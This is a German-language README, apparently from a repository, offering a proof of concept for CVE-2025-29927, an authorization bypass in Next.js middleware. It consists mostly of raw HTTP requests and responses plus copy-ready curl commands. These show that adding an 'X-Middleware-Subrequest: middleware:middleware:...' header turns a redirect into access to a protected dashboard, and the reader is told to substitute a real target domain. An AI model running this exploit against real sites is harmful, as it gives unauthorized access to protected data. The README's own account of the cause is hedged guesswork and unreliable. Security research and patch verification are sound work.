
Umgehung der Autorisierung in Next.js Middleware
Dieses Repository enthält einen Proof of Concept (PoC) für CVE-2025-29927, eine hypothetische Schwachstelle, die einen Fehler in der Middleware-Verarbeitung einer Webanwendung demonstriert. Der PoC zeigt, wie eine speziell konstruierte HTTP-Anfrage die Weiterleitungslogik umgehen kann, um auf geschützte Inhalte wie ein Dashboard zuzugreifen. Dieses Projekt dient ausschließlich Bildungs- und Sicherheitsforschungszwecken.
Haftungsausschluss: Dieser PoC ist für die Verwendung in kontrollierten Umgebungen mit ausdrücklicher Genehmigung bestimmt. Unbefugte Tests an Systemen, die Ihnen nicht gehören oder für die Sie keine Einwilligung haben, sind illegal und unethisch.
Um diesem PoC zu folgen, benötigen Sie:
abc.com), der eine anfällige Konfiguration ausführt (spezifische Software/Version je nach CVE-Details noch festzulegen).curl (curl.se), Burp Suite (portswigger.net/burp) oder ein eigenes Skript.CVE-2025-29927 (Platzhalter; durch die offiziellen CVE-Details ersetzen, sobald verfügbar) scheint eine Middleware-Fehlkonfiguration oder einen Logikfehler auszunutzen. Der PoC zeigt, dass das Hinzufügen eines benutzerdefinierten Headers (X-Middleware-Subrequest) das Verhalten des Servers verändert und einen Weiterleitungsmechanismus umgeht, um auf geschützte Inhalte zuzugreifen. Dies hängt wahrscheinlich damit zusammen, wie Middleware (z. B. Nginx mit Next.js) Unteranfragen (Subrequests) verarbeitet oder Header validiert.
Weitere Informationen zu Middleware-Schwachstellen finden Sie unter OWASP Middleware Security.
Der PoC besteht aus zwei Schritten: einer anfänglichen erfolglosen Anfrage und einer modifizierten erfolgreichen Anfrage. Jeder Schritt enthält die HTTP-Anfrage, die Antwort und eine detaillierte Erklärung.
Dieser Schritt demonstriert das Standardverhalten des Servers beim Zugriff auf den Endpunkt /dashboard ohne zusätzliche Header.
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

GET /dashboard: Versucht, auf den Dashboard-Endpunkt zuzugreifen.User-Agent und Accept imitieren eine typische Browseranfrage.307 Temporary Redirect: Gibt an, dass der Server den Client umleitet, wahrscheinlich aufgrund von Authentifizierungs-, Autorisierungs- oder Routinglogik (z. B. Weiterleitung zu einer Anmeldeseite).Server: nginx/1.14.1: Identifiziert die Webserversoftware./dashboard verhindert. Das Fehlen eines Location-Headers in dieser Antwort (möglicherweise aus Gründen der Kürze weggelassen) deutet darauf hin, dass sich das Weiterleitungsziel woanders befindet.Dieser Schritt führt einen benutzerdefinierten Header ein, um die Weiterleitung zu umgehen und erfolgreich den Dashboard-Inhalt abzurufen.
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: Ein benutzerdefinierter Header, der zur ursprünglichen Anfrage hinzugefügt wurde. Die wiederholte Zeichenkette middleware könnte einen Parsing- oder Validierungsfehler im Middleware-Stack ausnutzen.200 OK: Bestätigt den erfolgreichen Zugriff auf den Dashboard-Inhalt.Content-Type: text/html; charset=utf-8: Gibt eine HTML-Antwort an, wahrscheinlich die Dashboard-Seite.X-Powered-By: Next.js: Deutet darauf hin, dass die Anwendung Next.js verwendet, ein React-Framework, das für das Routing häufig Middleware einsetzt.Cache-Control: Verhindert das Zwischenspeichern, was für dynamische, benutzerspezifische Inhalte typisch ist.Content-Length: 30174: Größe des Antwortkörpers in Bytes.X-Middleware-Subrequest-Header veranlasst die Middleware wahrscheinlich dazu, die Anfrage als legitime Unteranfrage zu behandeln und so die Weiterleitungslogik zu umgehen. Dies könnte auf eine Schwachstelle bei der Validierung oder Verarbeitung von Unteranfragen hindeuten.Befolgen Sie diese Schritte, um den PoC mit curl zu reproduzieren:
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
Erwartete Ausgabe: Eine 307 Temporary Redirect-Antwort.
curl -v "http://abc.com/dashboard" \
-H "Host: abc.com" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Accept-Language: en-US,en;q=0.9" \
-H "Upgrade-Insecure-Requests: 1" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive"
Erwartete Ausgabe: Eine 200 OK-Antwort mit dem Dashboard-Inhalt.
Hinweis: Ersetzen Sie abc.com durch die tatsächliche Zieldomäne, wenn Sie in einer autorisierten Umgebung testen.
curl für HTTP-Anfragen.Dieses Projekt ist unter der MIT-Lizenz lizenziert. Siehe die Datei LICENSE für Details.